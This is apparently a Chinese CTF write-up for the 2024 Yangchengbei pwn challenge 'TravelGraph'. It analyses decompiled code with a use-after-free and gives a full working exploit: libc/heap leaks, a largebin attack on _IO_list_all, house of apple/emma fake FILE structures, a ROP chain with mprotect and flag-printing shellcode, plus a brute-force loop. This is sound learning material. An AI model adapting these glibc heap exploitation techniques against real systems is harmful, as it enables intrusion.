# house-of-apple
前言:
正好打 24 年羊城杯做了看了一道 house-of-apple 的题目,拿来水水 blog。
漏洞成因
堆溢出写,uaf
适用范围
2.23
—— 至今- 程序从
main
函数返回或能调用exit
函数- 能泄露出
heap
地址和libc
地址- 能使用一次
largebin attack
(一次即可)
接下来直接去将这道题的做题手法
# TravelGraph
利用手法
- 通过构造合理堆块,free 后残留指针泄露 libc 和 heap
- 利用堆风水,构造
1
次largebin attack
,替换_IO_list_all
为堆地址 - 利用
house of apple
,修改掉pointer_guard
的值 - 利用
house of emma
并结合几个gadgets
控制rsp
- 用
rop
链输出flag
可见符号表并没有去掉
保护也是理所当然的全开了
接下来分析函数
get_city_name
__int64 get_city_name() | |
{ | |
int i; // [rsp+Ch] [rbp-24h] | |
char s2[24]; // [rsp+10h] [rbp-20h] BYREF | |
unsigned __int64 v3; // [rsp+28h] [rbp-8h] | |
v3 = __readfsqword(0x28u); | |
puts("Please input the city name"); | |
read_str((__int64)s2, 16); | |
for ( i = 0; ; ++i ) | |
{ | |
if ( i > 4 ) | |
exit(3); | |
if ( !strcmp(&cities[16 * i], s2) ) | |
break; | |
} | |
return (unsigned int)i; | |
} |
add
unsigned __int64 add() | |
{ | |
int v1; // [rsp+8h] [rbp-28h] | |
int i; // [rsp+Ch] [rbp-24h] | |
_DWORD *v3; // [rsp+10h] [rbp-20h] | |
char s2[10]; // [rsp+1Eh] [rbp-12h] BYREF | |
unsigned __int64 v5; // [rsp+28h] [rbp-8h] | |
v5 = __readfsqword(0x28u); | |
for ( i = 0; routes[i]; ++i ) | |
; | |
puts("What kind of transportation do you want? car/train/plane?"); | |
read_str((__int64)s2, 16); | |
if ( !strcmp("car", s2) ) | |
{ | |
v1 = 1; | |
} | |
else if ( !strcmp("train", s2) ) | |
{ | |
v1 = 2; | |
} | |
else | |
{ | |
if ( strcmp("plane", s2) ) | |
exit(2); | |
v1 = 3; | |
} | |
v3 = malloc(16 * (v1 + 80)); | |
v3[3] = v1; | |
puts("From where?"); | |
*v3 = get_city_name(); | |
puts("To where?"); | |
v3[1] = get_city_name(); | |
puts("How far?"); | |
v3[2] = read_num(); | |
if ( (int)v3[2] > 1000 || (int)v3[2] <= 0 ) | |
{ | |
puts("That's too far!"); | |
exit(1); | |
} | |
puts("Note:"); | |
read(0, v3 + 4, (unsigned int)(16 * (v1 + 79))); | |
routes[i] = v3; | |
return v5 - __readfsqword(0x28u); | |
} |
这里通过出行方式去设置 malloc 的 size 大小,输入距离不能超过 1000,同样是通过 size 大小读入数据,无堆溢出。
delete
int delete() | |
{ | |
__int64 v0; // rax | |
int i; // [rsp+4h] [rbp-Ch] | |
int city_name; // [rsp+8h] [rbp-8h] | |
int v4; // [rsp+Ch] [rbp-4h] | |
puts("From where?"); | |
city_name = get_city_name(); | |
puts("To where?"); | |
LODWORD(v0) = get_city_name(); | |
v4 = v0; | |
for ( i = 0; i != 20; ++i ) | |
{ | |
v0 = routes[i]; | |
if ( v0 ) | |
{ | |
if ( city_name == *(_DWORD *)routes[i] && v4 == *(_DWORD *)(routes[i] + 4LL) | |
|| (LODWORD(v0) = *(_DWORD *)routes[i], v4 == (_DWORD)v0) | |
&& (LODWORD(v0) = *(_DWORD *)(routes[i] + 4LL), city_name == (_DWORD)v0) ) | |
{ | |
*(_DWORD *)routes[i] = 0; | |
*(_DWORD *)(routes[i] + 4LL) = 0; | |
free((void *)routes[i]); | |
LODWORD(v0) = puts("Successfully delete!"); | |
} | |
} | |
} | |
return v0; | |
} |
存在 uaf 漏洞
show
int show() | |
{ | |
__int64 v0; // rax | |
int i; // [rsp+4h] [rbp-Ch] | |
int city_name; // [rsp+8h] [rbp-8h] | |
int v4; // [rsp+Ch] [rbp-4h] | |
puts("From where?"); | |
city_name = get_city_name(); | |
puts("To where?"); | |
LODWORD(v0) = get_city_name(); | |
v4 = v0; | |
for ( i = 0; i != 20; ++i ) | |
{ | |
v0 = routes[i]; | |
if ( v0 ) | |
{ | |
if ( city_name == *(_DWORD *)routes[i] && v4 == *(_DWORD *)(routes[i] + 4LL) | |
|| (LODWORD(v0) = *(_DWORD *)routes[i], v4 == (_DWORD)v0) | |
&& (LODWORD(v0) = *(_DWORD *)(routes[i] + 4LL), city_name == (_DWORD)v0) ) | |
{ | |
printf("Distance:%d\n", *(unsigned int *)(routes[i] + 8LL)); | |
LODWORD(v0) = printf("Note:%s\n", (const char *)(routes[i] + 16LL)); | |
} | |
} | |
} | |
return v0; | |
} |
使用 printf 的 show 函数
edit
unsigned __int64 edit() | |
{ | |
int v1; // [rsp+0h] [rbp-80h] | |
int i; // [rsp+4h] [rbp-7Ch] | |
int j; // [rsp+8h] [rbp-78h] | |
int city_name; // [rsp+Ch] [rbp-74h] | |
int v5; // [rsp+10h] [rbp-70h] | |
int num; // [rsp+14h] [rbp-6Ch] | |
_DWORD *v7; // [rsp+18h] [rbp-68h] | |
int v8[22]; // [rsp+20h] [rbp-60h] | |
unsigned __int64 v9; // [rsp+78h] [rbp-8h] | |
v9 = __readfsqword(0x28u); | |
v1 = 0; | |
if ( !edit_flag1 ) | |
{ | |
puts("You've already edited it!"); | |
exit(1); | |
} | |
if ( !edit_flag2 ) | |
{ | |
puts("You don't need to edit anymore."); | |
exit(1); | |
} | |
puts("From where?"); | |
city_name = get_city_name(); | |
puts("To where?"); | |
v5 = get_city_name(); | |
for ( i = 0; i != 20; ++i ) | |
{ | |
if ( routes[i] | |
&& (city_name == *(_DWORD *)routes[i] && v5 == *(_DWORD *)(routes[i] + 4LL) | |
|| v5 == *(_DWORD *)routes[i] && city_name == *(_DWORD *)(routes[i] + 4LL)) ) | |
{ | |
v8[v1++] = i; | |
} | |
} | |
if ( v1 ) | |
{ | |
puts("----------------"); | |
for ( j = 0; j < v1; ++j ) | |
printf("[+] Route%d: %d\n", (unsigned int)j, (unsigned int)v8[j]); | |
puts("----------------"); | |
puts("Which one do you want to change?"); | |
num = read_num(); | |
if ( num < 0 || num > v1 ) | |
exit(1); | |
puts("How far?"); | |
v7 = (_DWORD *)routes[v8[num]]; | |
v7[2] = read_num(); | |
puts("Note:"); | |
read(0, v7 + 4, (unsigned int)(16 * (v7[3] + 79))); | |
} | |
edit_flag1 = 0; | |
return v9 - __readfsqword(0x28u); | |
} |
edit 的进入有条件,需要 edit_flag2 置 1
Dijkstra
unsigned __int64 Dijkstra() | |
{ | |
int i; // [rsp+0h] [rbp-D0h] | |
int j; // [rsp+4h] [rbp-CCh] | |
int k; // [rsp+8h] [rbp-C8h] | |
int m; // [rsp+Ch] [rbp-C4h] | |
int city_name; // [rsp+10h] [rbp-C0h] | |
int v6; // [rsp+14h] [rbp-BCh] | |
int v7; // [rsp+18h] [rbp-B8h] | |
int v8; // [rsp+1Ch] [rbp-B4h] | |
int v9[8]; // [rsp+20h] [rbp-B0h] BYREF | |
int v10[8]; // [rsp+40h] [rbp-90h] BYREF | |
int v11[26]; // [rsp+60h] [rbp-70h] | |
unsigned __int64 v12; // [rsp+C8h] [rbp-8h] | |
v12 = __readfsqword(0x28u); | |
v11[0] = 0; | |
v11[1] = 9999; | |
v11[2] = 9999; | |
v11[3] = 9999; | |
v11[4] = 9999; | |
v11[5] = 9999; | |
v11[6] = 0; | |
v11[7] = 9999; | |
v11[8] = 9999; | |
v11[9] = 9999; | |
v11[10] = 9999; | |
v11[11] = 9999; | |
v11[12] = 0; | |
v11[13] = 9999; | |
v11[14] = 9999; | |
v11[15] = 9999; | |
v11[16] = 9999; | |
v11[17] = 9999; | |
v11[18] = 0; | |
v11[19] = 9999; | |
v11[20] = 9999; | |
v11[21] = 9999; | |
v11[22] = 9999; | |
v11[23] = 9999; | |
v11[24] = 0; | |
for ( i = 0; i != 20; ++i ) | |
{ | |
if ( routes[i] ) | |
{ | |
v7 = *(_DWORD *)routes[i]; | |
v8 = *(_DWORD *)(routes[i] + 4LL); | |
if ( *(_DWORD *)(routes[i] + 8LL) < v11[5 * v7 + v8] ) | |
{ | |
v11[5 * v7 + v8] = *(_DWORD *)(routes[i] + 8LL); | |
v11[5 * v8 + v7] = *(_DWORD *)(routes[i] + 8LL); | |
} | |
} | |
} | |
for ( j = 0; j <= 4; ++j ) | |
{ | |
v9[j] = 9999; | |
v10[j] = 0; | |
} | |
v9[0] = 0; | |
for ( k = 0; k <= 4; ++k ) | |
{ | |
v6 = minDistance(v9, v10); | |
v10[v6] = 1; | |
for ( m = 0; m <= 4; ++m ) | |
{ | |
if ( !v10[m] && v11[5 * v6 + m] && v9[v6] != 9999 && v9[v6] + v11[5 * v6 + m] < v9[m] ) | |
v9[m] = v9[v6] + v11[5 * v6 + m]; | |
} | |
} | |
puts("Where do you want to travel?"); | |
city_name = get_city_name(); | |
printf("It is %dkm away from Guangzhou.\n", (unsigned int)v9[city_name]); | |
if ( v9[city_name] > 2000 && v9[city_name] != 9999 ) | |
{ | |
puts("That's so far! Please review and rewrite it!"); | |
++edit_flag2; | |
} | |
return v12 - __readfsqword(0x28u); | |
} |
需要到 Guangzhou 的一条路径大于 2000 才能是的 edit_flag2 置 1
add('car','guangzhou','nanning',str(0x3E8),'a') # chunk0 | |
add('car','nanning','changsha',str(0x3E8),'b') # chunk1 | |
add('car','changsha','nanchang',str(0x3E8),'c') # chunk2 | |
add('car','nanchang','fuzhou',str(0x3E8),'d') # chunk3 | |
Dijkstra('fuzhou') |
可以看到大于 2000,从而进入 edit_flag2++ 的分支
通过此方式先将 edit_flag2 置 1,接下来去 free 在 add 泄露残留的指针
dele('guangzhou','nanning') # chunk0 | |
dele('changsha','nanchang') # chunk2 | |
add('train','guangzhou','changsha',str(0x3E8),'e') |
将 chunk0 和 chunk2 置入 large bin,从而残留 fd 和 bk 指针,泄露 libc 和 heap
dele('guangzhou','changsha') | |
dele('nanchang','fuzhou') | |
dele('nanning','changsha') | |
add('plane','guangzhou','nanning',str(0x3E8),'1234') | |
add('plane','nanning','changsha',str(0x3E8),'N'*0x4ef+'^') | |
show('nanning','changsha') | |
ru('^') | |
libcbase = u64(rc(6).ljust(8,b'\0')) - 0x21b110 | |
dele('nanning','changsha') | |
add('plane','nanning','changsha',str(0x3E8),'N'*0x4f7+'^') | |
show('nanning','changsha') | |
ru('^') | |
heapbase = u64(rc(6).ljust(8,b'\0')) - 0x001470 |
heap 同样,因为用 printf 泄露会被’\x00’截断,释放之后再次写数据覆盖 libc 即可泄露
清空 chunk,申请几个去泄露 libc 和 heap 地址
dele('nanning','changsha') | |
dele('guangzhou','nanning') |
再次清空,准备进行 large bin attack 将 fake_io_addr
写入 io_list_all
target=libcbase + libc.sym['_IO_list_all'] | |
fake_io_1_addr=heapbase+0x1470 | |
fake_io_2_addr=fake_io_1_addr+0x100 | |
_IO_wstrn_jumps = libcbase + 0x216dc0 | |
_IO_cookie_jumps = libcbase + 0x216b80 | |
_lock = libcbase + 0x21ca60#libc.sym._IO_stdfile_2_lock | |
point_guard_addr = libcbase + 0x381770#关闭 alse 情况下 0x381770 | |
expected = fake_io_2_addr-0x10 | |
magic_gadget = libcbase + 0x0000000000167420 | |
mov_rsp_rdx_ret = libcbase + 0x5a120 | |
add_rsp_0x20_pop_rbx_ret = libcbase + 0xd2ba5 | |
pop_rdi_ret = libcbase + 0x2a3e5 | |
pop_rsi_ret = libcbase + 0x2be51 | |
pop_rdx_rbx_ret = libcbase + 0x904a9 | |
fake_io_1 = IO_FILE_plus_struct() | |
fake_io_1.chain = fake_io_2_addr | |
fake_io_1._flags2 = 8 | |
fake_io_1._mode = 0 | |
fake_io_1._lock = _lock | |
fake_io_1._wide_data = point_guard_addr | |
fake_io_1.vtable = _IO_wstrn_jumps | |
fake_io_2 = IO_FILE_plus_struct() | |
fake_io_2._IO_write_base = 0 | |
fake_io_2._IO_write_ptr = 1 | |
fake_io_2._lock = _lock | |
fake_io_2._mode = 0 | |
fake_io_2._flags2 = 8 | |
fake_io_2.vtable = _IO_cookie_jumps + 0x58 | |
data = flat({ | |
0: bytes(fake_io_1)[0x20:], | |
0xe0:{ | |
0: bytes(fake_io_2), | |
0xe0: [fake_io_2_addr + 0x100, rol(magic_gadget ^ expected, 0x11)], | |
0x100: [ | |
add_rsp_0x20_pop_rbx_ret, | |
fake_io_2_addr + 0x100, | |
0, | |
0, | |
mov_rsp_rdx_ret, | |
0, | |
pop_rdi_ret, | |
fake_io_2_addr & ~0xfff, | |
pop_rsi_ret, | |
0x4000, | |
pop_rdx_rbx_ret, | |
7, 0, | |
libcbase + libc.sym['mprotect'], | |
fake_io_2_addr + 0x200 | |
], | |
0x200: ShellcodeMall.amd64.cat_flag | |
} | |
}) |
add('car','guangzhou','nanning',str(0x3E8),data)# chunk0 | |
add('car','nanning','changsha',str(0x3E8),p64(0)+p64(0x521)+p32(4)+p64(2))# chunk1 | |
# 通过 heaplist 残留指针使其再次可用,为 large bin attack 覆写 bk_nextsize 作准备 | |
add('train','changsha','nanchang',str(0x3E8),'c')# chunk2 | |
add('car','nanchang','fuzhou',str(0x3E8),'d')# chunk3 | |
dele('changsha','nanchang')# chunk2 | |
add('plane','fuzhou','guangzhou',str(0x3E8),'c') |
add chunk1 之前。
add chunk2 之前
我们将 0x55555555d9b0
此位置合理化了。能编辑路线 changsha
——> fuzhou
将 chunk2 放置 largebin 内,从而通过这个处于 chunk1 内部的编辑块去覆写 chunk2 即可。
pl = b'h'*(0x4e0) + p64(0) + p64(0x531) | |
pl += p64(libcbase+0x21b110) + p64(libcbase+0x21b110) | |
pl += p64(heapbase+0x001eb0) | |
pl += p64(target-0x20) | |
edit('changsha','fuzhou',0,1000,pl) |
将 free 掉的 chunk3 的 bknextsize 覆写 io_list_all-0x20,从而将 chunk0 (fake_io) 写入 io_list_all 地址处
dele('guangzhou','nanning')# chunk0 置入 unsortbin 内 | |
add('plane','fuzhou','nanning',str(0x3E8),'0')# large bin attack | |
menu(0)# 调用 exit 触发 io_clearup 调用链从而输出 flag |
pwndbg> p *(struct _IO_FILE_plus*) 0x55555555d470 | |
$1 = { | |
file = { | |
_flags = 6, | |
_IO_read_ptr = 0x521 <error: Cannot access memory at address 0x521>, | |
_IO_read_end = 0x7ffff7e1b110 <main_arena+1168> "", | |
_IO_read_base = 0x55555555deb0 "", | |
_IO_write_base = 0x55555555deb0 "", | |
_IO_write_ptr = 0x7ffff7e1b660 <_nl_global_locale+224> "¡\335\367\377\177", | |
_IO_write_end = 0x0, | |
_IO_buf_base = 0x0, | |
_IO_buf_end = 0x0, | |
_IO_save_base = 0x0, | |
_IO_backup_base = 0x0, | |
_IO_save_end = 0x0, | |
_markers = 0x0, | |
_chain = 0x55555555d570, | |
_fileno = 0, | |
_flags2 = 8, | |
_old_offset = -1, | |
_cur_column = 0, | |
_vtable_offset = 0 '\000', | |
_shortbuf = "", | |
_lock = 0x7ffff7e1ca60 <_IO_stdfile_2_lock>, | |
_offset = -1, | |
_codecvt = 0x0, | |
_wide_data = 0x7ffff7f81770, | |
_freeres_list = 0x0, | |
_freeres_buf = 0x0, | |
__pad5 = 0, | |
_mode = 0, | |
_unused2 = '\000' <repeats 19 times> | |
}, | |
vtable = 0x7ffff7e16dc0 <_IO_wstrn_jumps> | |
} |
pwndbg> p *(struct _IO_FILE_plus*) 0x55555555d570 | |
$3 = { | |
file = { | |
_flags = 0, | |
_IO_read_ptr = 0x0, | |
_IO_read_end = 0x0, | |
_IO_read_base = 0x0, | |
_IO_write_base = 0x0, | |
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, | |
_IO_write_end = 0x0, | |
_IO_buf_base = 0x0, | |
_IO_buf_end = 0x0, | |
_IO_save_base = 0x0, | |
_IO_backup_base = 0x0, | |
_IO_save_end = 0x0, | |
_markers = 0x0, | |
_chain = 0x0, | |
_fileno = 0, | |
_flags2 = 8, | |
_old_offset = -1, | |
_cur_column = 0, | |
_vtable_offset = 0 '\000', | |
_shortbuf = "", | |
_lock = 0x7ffff7e1ca60 <_IO_stdfile_2_lock>, | |
_offset = -1, | |
_codecvt = 0x0, | |
_wide_data = 0x0, | |
_freeres_list = 0x0, | |
_freeres_buf = 0x0, | |
__pad5 = 0, | |
_mode = 0, | |
_unused2 = '\000' <repeats 19 times> | |
}, | |
vtable = 0x7ffff7e16bd8 <_IO_cookie_jumps+88> | |
} |
可见程序被我们将 io_chain 劫持到我们的 fake_io 上,从而通过调用链去输出 flag
# 完整 exp
在题目开启 alsr 情况写,自我认为需要去爆破 point_guard_addr
因此再次基础修改了一下流程,只需要爆破 2 位数即可,即 1/256
可以读取 flag
''' | |
huan_attack_pwn | |
''' | |
from pwncli import * | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
libc = '/lib/x86_64-linux-gnu/libc.so.6' | |
# host, port = ":".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
''' | |
Welcome to YCB! | |
Do you like traveling? Let's start our trip from Guangzhou! | |
Since this is only the simplified version, only five cities in total can be considered at present. I'm sorry! | |
**guangzhou/nanning/changsha/nanchang/fuzhou** | |
1. Add route. | |
2. Delete route. | |
3. Show route. | |
4. Edit route. | |
5. Calculate the distance. | |
''' | |
def menu(idx): | |
ru('5. Calculate the distance.\n') | |
sl(str(idx)) | |
def add(tp,fw,tw,jl,note): | |
menu(1) | |
sla('car/train/plane?\n',str(tp)) | |
sla('input the city name\n',str(fw)) | |
sla('input the city name\n',str(tw)) | |
sla('How far?\n',str(jl)) | |
sa('Note:\n',note) | |
def dele(fw,tw): | |
menu(2) | |
sla('input the city name\n',str(fw)) | |
sla('input the city name\n',str(tw)) | |
def show(fw,tw): | |
menu(3) | |
sla('input the city name\n',str(fw)) | |
sla('input the city name\n',str(tw)) | |
def edit(fw,tw,cg,jl,note): | |
menu(4) | |
sla('input the city name\n',str(fw)) | |
sla('input the city name\n',str(tw)) | |
sla('Which one do you want to change?\n',str(cg)) | |
sla('How far?\n',str(jl)) | |
sa('Note:\n',note) | |
def Dijkstra(city): | |
menu(5) | |
sla('input the city name\n',str(city)) | |
while 1: | |
for x in range(0x10): | |
for y in range(0x10): | |
r = process(binary) | |
add('car','guangzhou','nanning',str(0x3E8),'a') | |
add('car','nanning','changsha',str(0x3E8),'b') | |
add('car','changsha','nanchang',str(0x3E8),'c') | |
add('car','nanchang','fuzhou',str(0x3E8),'d') | |
sleep(0.1) | |
Dijkstra('fuzhou') | |
sleep(0.1) | |
dele('guangzhou','nanning') | |
dele('changsha','nanchang') | |
add('train','guangzhou','changsha',str(0x3E8),'e') | |
sleep(0.1) | |
dele('guangzhou','changsha') | |
dele('nanchang','fuzhou') | |
dele('nanning','changsha') | |
add('plane','guangzhou','nanning',str(0x3E8),'1234') | |
add('plane','nanning','changsha',str(0x3E8),'N'*0x4ef+'^') | |
show('nanning','changsha') | |
ru('^') | |
libcbase = u64(rc(6).ljust(8,b'\0')) - 0x21b110 | |
dele('nanning','changsha') | |
add('plane','nanning','changsha',str(0x3E8),'N'*0x4f7+'^') | |
sleep(0.1) | |
show('nanning','changsha') | |
ru('^') | |
heapbase = u64(rc(6).ljust(8,b'\0')) - 0x001470 | |
lg('libcbase') | |
lg('heapbase') | |
dele('nanning','changsha') | |
dele('guangzhou','nanning') | |
try: | |
target=libcbase + libc.sym['_IO_list_all'] | |
fake_io_1_addr=heapbase+0x1470 | |
fake_io_2_addr=fake_io_1_addr+0x100 | |
offset = 0x3 << 20 | |
offset += (x << 16) | |
offset += (y << 12) | |
_IO_wstrn_jumps = libcbase + 0x216dc0 | |
_IO_cookie_jumps = libcbase + 0x216b80 | |
_lock = libcbase + 0x21ca60#libc.sym._IO_stdfile_2_lock | |
point_guard_addr = libcbase + offset + 0x770 | |
log.success("point_guard_addr:\t" + hex(point_guard_addr)) | |
expected = fake_io_2_addr-0x10 | |
magic_gadget = libcbase + 0x0000000000167420 | |
mov_rsp_rdx_ret = libcbase + 0x5a120 | |
add_rsp_0x20_pop_rbx_ret = libcbase + 0xd2ba5 | |
pop_rdi_ret = libcbase + 0x2a3e5 | |
pop_rsi_ret = libcbase + 0x2be51 | |
pop_rdx_rbx_ret = libcbase + 0x904a9 | |
fake_io_1 = IO_FILE_plus_struct() | |
fake_io_1.chain = fake_io_2_addr | |
fake_io_1._flags2 = 8 | |
fake_io_1._mode = 0 | |
fake_io_1._lock = _lock | |
fake_io_1._wide_data = point_guard_addr | |
fake_io_1.vtable = _IO_wstrn_jumps | |
fake_io_2 = IO_FILE_plus_struct() | |
fake_io_2._IO_write_base = 0 | |
fake_io_2._IO_write_ptr = 1 | |
fake_io_2._lock = _lock | |
fake_io_2._mode = 0 | |
fake_io_2._flags2 = 8 | |
fake_io_2.vtable = _IO_cookie_jumps + 0x58 | |
data = flat({ | |
0: bytes(fake_io_1)[0x20:], | |
0xe0:{ | |
0: bytes(fake_io_2), | |
0xe0: [fake_io_2_addr + 0x100, rol(magic_gadget ^ expected, 0x11)], | |
0x100: [ | |
add_rsp_0x20_pop_rbx_ret, | |
fake_io_2_addr + 0x100, | |
0, | |
0, | |
mov_rsp_rdx_ret, | |
0, | |
pop_rdi_ret, | |
fake_io_2_addr & ~0xfff, | |
pop_rsi_ret, | |
0x4000, | |
pop_rdx_rbx_ret, | |
7, 0, | |
libcbase + libc.sym['mprotect'], | |
fake_io_2_addr + 0x200 | |
], | |
0x200: ShellcodeMall.amd64.cat_flag | |
} | |
}) | |
add('car','guangzhou','nanning',str(0x3E8),data) | |
add('car','nanning','changsha',str(0x3E8),p64(0)+p64(0x521)+p32(4)+p64(2)) | |
sleep(0.1) | |
add('train','changsha','nanchang',str(0x3E8),'c') | |
add('car','nanchang','fuzhou',str(0x3E8),'d') | |
sleep(0.1) | |
dele('changsha','nanchang') | |
add('plane','fuzhou','guangzhou',str(0x3E8),'c') | |
sleep(0.1) | |
pl = b'h'*(0x4e0) + p64(0) + p64(0x531) | |
pl += p64(libcbase+0x21b110) + p64(libcbase+0x21b110) | |
pl += p64(heapbase+0x001eb0) | |
pl += p64(target-0x20) | |
edit('changsha','fuzhou',0,1000,pl) | |
sleep(0.1) | |
dele('guangzhou','nanning') | |
add('plane','fuzhou','nanning',str(0x3E8),'0') | |
sleep(0.1) | |
lg('point_guard_addr') | |
menu(0) | |
response = r.recv(1024,timeout=2) | |
flag = r.recv(1024,timeout=2) | |
# log.info(flag.decode()) | |
if 'flag' in flag.decode(): | |
print(flag.decode()) | |
pause() | |
break | |
except EOFError: | |
log.warning("Connection lost, restarting the process.") | |
r.close() | |
continue | |
except Exception as e: | |
log.warning(f"An error occurred: {e}") | |
r.close() | |
continue |
参考
https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#226-house-of-apple2
https://bbs.kanxue.com/thread-273418.htm
https://xz.aliyun.com/t/12934?time__1311=GqGxuD9Qi%3Dexlxx2DUxYqGKitqe1Q77OZYoD#toc-8